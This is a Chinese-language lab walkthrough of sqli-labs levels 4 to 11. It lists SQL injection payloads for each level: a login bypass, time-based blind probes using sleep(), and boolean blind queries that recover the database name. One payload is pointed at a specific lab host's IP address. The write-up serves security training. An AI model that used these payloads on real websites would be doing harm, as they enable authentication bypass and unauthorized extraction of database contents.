sql-labs 11关

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

注入语句:admin’ and 1=1 –+

image-20220330101425259

这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入

image-20220330101729185

sql-labs 10关

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

注入语句:id=1” and if(length(database())>7 ,sleep(5),1) –+

image-20220330101130633

sql-labs 9关

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注/基于’的时间盲注)

注入语句:id=1’ and if(length(database())>3 ,sleep(5),1) –+

因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。

image-20220330100800597

如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。

image-20220330100906860

sql-labs 8关

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注/基于’的盲注(利用dns回显))

布尔型盲注,单引号,id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 –+ 回显了

image-20220330095718100

暴库payload

image-20220330100154595

库名长度可使用?id=1’ and length(database())=8–+ 判断,同理表名字,段名等。

最后得到库名?id=1’ and left((select database()),8)=’security’–+

sql-labs 6关

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入/基于”字符型的错误回显注入)

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数。

image-20220330093608396

sql-labs 5关

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入/基于’字符型的错误回显注入)

image-20220330092509735

看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了

下面给出验证时间延迟型的盲注:

http://45.32.113.109:40430/Less-5/?id=1' and sleep(5) –+

发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

image-20220330093226023

sql-labs 4关

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

输入单引号,页面无任何变化,输入双引号,页面报错,根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,

image-20220330092050612